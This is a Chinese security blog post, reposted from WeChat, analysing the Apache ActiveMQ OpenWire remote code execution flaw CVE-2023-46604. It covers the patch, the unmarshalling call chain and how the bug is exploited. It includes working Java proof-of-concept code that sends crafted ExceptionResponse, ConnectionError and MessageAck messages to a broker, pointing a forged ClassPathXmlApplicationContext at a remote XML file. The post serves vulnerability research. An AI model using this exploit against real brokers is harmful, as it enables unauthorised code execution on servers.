CVE-2023-46604-ActiveMq-RCE

admin 2023年12月26日13:37:37评论41 views字数 6337阅读21分7秒阅读模式

生命久如暗室,不妨碍我明写春诗。

Life may be as long as a dark room, but it does not hinder me from writing spring poems in the light.

前端时间在漏洞情报中看到ActiveMQ爆出了新的远程命令执行,本来早想分析看看的,结果拖到了今天。根据ActiceMQ官网的更新可以看出是OpenWire协议中的问题(Poc已上传Github,后台回复CVE-2023-46604获取POC):CVE-2023-46604-ActiveMq-RCE

并且在ActiveMQ Classic Details中提到目前唯一已知利用方式为 org.springframework.context.support.ClassPathXmlApplicationContextCVE-2023-46604-ActiveMq-RCE

很容易在github中找到ActiveMQ相关commit。在更新中新增代码
activemq-client/src/main/java/org/apache/activemq/openwire/OpenWireUtil.java 其中validateIsThrowable通过Throwable.class.isAssignableFrom检查clazz是否是Throwable类或者其子类,不是则抛出异常:CVE-2023-46604-ActiveMq-RCE

BaseDataStreamMarshaller#createThrowable中添加OpenWireUtil.validateIsThrowable,判断clazz是否是Throwable类或者其子类:CVE-2023-46604-ActiveMq-RCE

更新前的createThrowable,很容易可以看出来,通过反射构造调用一个接收String的方法类,更新就在此基础上限定了只能调用Throwable类和继承了Throwable的类:CVE-2023-46604-ActiveMq-RCE


代码分析

跟进createThrowable,看看什么地方调用了createThrowable,发现tightUnmarsalThrowable (org.apcahe.activemq.openwire.v12.BaseDataStreamMarshaller#tightUnmarsalThrowable)和looseUnmarsalThrowable (org.apcahe.activemq.openwire.v12.BaseDataStreamMarshaller#looseUnmarsalThrowable)调用了createThrowable,从传入参数DataInput dataIn获取了类名和参数保存至clazzmessage变量中,再通过createThrowable进行反射调用:CVE-2023-46604-ActiveMq-RCE

通过搜索发现ConnectionErrorMarshallerExceptionResponseMarshallerMessageAskMarshaller可以调用tightUnmarsalThrowablelooseUnmarsalThrowableCVE-2023-46604-ActiveMq-RCE

再通过搜索发现往上为org.apcahe.activemq.openwire.OpenWireFormat#doUnmarshaldoUnmarshal通过dataType获取不同的DataStreamMarshaller,从而控制调用不同类下的tightUnmarshallooseUnmarshalCVE-2023-46604-ActiveMq-RCE

利用从网上搜索到ActiveMQ发送消息的Demo,进行尝试:

/**  
 * @Projectname: demo  
 * @Filename: Demo  
 * @Author: T0ngMystic  
 * @Data:2023/12/21 16:08  
 * @Description: unauthorized  
 */  
  
import org.apache.activemq.ActiveMQConnection;  
import org.apache.activemq.ActiveMQConnectionFactory;  
  
  
import javax.jms.*;  
  
public class Demo {  
    public static void main(String[] args) throws Exception {  
  
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");  
        ActiveMQConnection connection = (ActiveMQConnection)connectionFactory.createConnection();  
        connection.start();  
        Session session = connection.createSession(true, Session.AUTO_ACKNOWLEDGE);  
        MessageProducer messageProducer = null;  
        Message message = session.createTextMessage("Hello T0ngMystic");  
  
        Destination destination = session.createQueue("aaa");  
        messageProducer = session.createProducer(destination);  
        messageProducer.send(message);  
        connection.getTransportChannel().oneway(message);  
        connection.close();  
    }  
}  

doUnmarshal进行Debug下断点看看是怎么回事,发现dataMarshallers不同的dataType对应不同的类,其中就有先前发现的ExceptionResponseMarshaller、ConnectionErrorMarshaller、MessageAckMarshaller,分别对应dataType如下:

ExceptionResponseMarshaller : 31
ConnectionErrorMarshaller : 16
MessageAckMarshaller : 22
CVE-2023-46604-ActiveMq-RCE
image-CVE-2023-46604-ActiveMq-RCE-20231222102850080

此时可以知道,通过控制传入的DataInput dis,让其dataType311622即可进行反射调用进行远程命令执行,使用Demo中的send发送消息可以看到DataType对应26,对应ActiveMQObjectMessageMarshaller类,其中堆栈如下:

doUnmarshal:369, OpenWireFormat (org.apache.activemq.openwire)
unmarshal:290, OpenWireFormat (org.apache.activemq.openwire)
readCommand:240, TcpTransport (org.apache.activemq.transport.tcp)
doRun:232, TcpTransport (org.apache.activemq.transport.tcp)
run:215, TcpTransport (org.apache.activemq.transport.tcp)
run:-1, Thread (java.lang)
CVE-2023-46604-ActiveMq-RCE
image-CVE-2023-46604-ActiveMq-RCE-20231222103355467

既然send发送消息对应ActiveMQObjectMessageMarshaller,那么只要发送ExceptionResponseConnectionErrorMessageAck,就能够进入我们想要的方法类,但是找了一圈send都没有发现能够发送ExceptionResponseConnectionErrorMessageAck的方法(对ActiveMQ实在是不太熟悉)。

在不断的Debug后发现org.apcahe.activemq.openwire.OpenWireFormat中看到了marshal方法,既然doUnmarshal是类似反序列化的过程,那么marshal就是类似序列化了,那么先Debug看看marshal是个怎么样的过程:CVE-2023-46604-ActiveMq-RCE

在堆栈中找到TransposrtConnectorconnection.startdome创建连接高度相似:CVE-2023-46604-ActiveMq-RCE

通过堆栈与代码可以看出最后会通过org.apache.activvemq.transport.tcp.TcpTransport#oneway传输消息,并且oneway接收参数为Object,可以发送类:CVE-2023-46604-ActiveMq-RCE

如此,我们只需要对其进行patch,就可以进行消息发送,得到如下DemoCVE-2023-46604-ActiveMq-RCE

成功在doUnmarshal获取到ActiveMQTextMessageMarshallerCVE-2023-46604-ActiveMq-RCE

如此就可以通过oneway直接构造发送ExceptionResponseConnectionErroMessageAck从而得到DataType31、16、22了。先进行ExceptionResponse的构造,在ExceptionResponse的构造函数可以接收Throwable,也可以使用setException可以接收Throwable类型的参数,并赋值给this.exception:CVE-2023-46604-ActiveMq-RCE

由于接收的参数必须是Throwable类型,那么发送的ClassPathXmlApplicationContext就需要继承Throwable类,所以对ClassPathXmlApplicationContext类进行patch并继承Throwable类:

package org.springframework.context.support;  
  
public class ClassPathXmlApplicationContext extends Throwable{  
    private String message;  
  
    public ClassPathXmlApplicationContext(String message) {  
        this.message = message;  
    }  
  
    @Override  
    public String getMessage() {  
        return message;  
    }  
}

最后构造poc如下,成功远程执行命令:CVE-2023-46604-ActiveMq-RCE在构造ConnectionErrorpayload中,构造函数并没有参数进行传输,但找到setException可以进行赋值:CVE-2023-46604-ActiveMq-RCE

同样在构造MessageAckpayload,没有获取Throwable类型的构造函数,但是setPoisonCause可以进行赋值:CVE-2023-46604-ActiveMq-RCE

成功使用MessageAck进行远程代码执行利用:CVE-2023-46604-ActiveMq-RCE成功利用ConnectionError进行远程代码执行利用:CVE-2023-46604-ActiveMq-RCE最终ExceptionResponseMessageAckConnectionErrodr 的Poc如下:

/**  
 * @Projectname: demo  
 * @Filename: Demo  
 * @Author: T0ngMystic  
 * @Data:2023/12/21 16:08  
 * @Description: unauthorized  
 */  
  
import org.apache.activemq.ActiveMQConnection;  
import org.apache.activemq.ActiveMQConnectionFactory;  
import org.apache.activemq.command.ConnectionError;  
import org.apache.activemq.command.ExceptionResponse;  
import org.apache.activemq.command.MessageAck;  
import org.springframework.context.support.ClassPathXmlApplicationContext;  
  
import javax.jms.*;  
  
public class Demo {  
    public static void main(String[] args) throws Exception {  
  
        ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");  
        ActiveMQConnection connection = (ActiveMQConnection)connectionFactory.createConnection();  
        connection.start();  
        Session session = connection.createSession(true, Session.AUTO_ACKNOWLEDGE);  
//      messageProducer.send(message);  
        ExceptionResponse message1 = new ExceptionResponse(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));  
        ConnectionError message2 = new ConnectionError();  
        message2.setException(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));  
        MessageAck message3 = new MessageAck();  
        message3.setPoisonCause(new ClassPathXmlApplicationContext("http://127.0.0.1:8000/poc.xml"));  
        connection.getTransportChannel().oneway(message3);  
  
        connection.close();  
    }  
}

文笔垃圾,技术欠缺,欢迎各位师傅请斧正,非常感谢!

如果文章对你有所帮助,不吝赐个赞!👍

原文始发于微信公众号(T0ngMystic工作站):CVE-2023-46604-ActiveMq-RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月26日13:37:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-46604-ActiveMq-RCEhttps://cn-sec.com/archives/2335151.html

发表评论

匿名网友 填写信息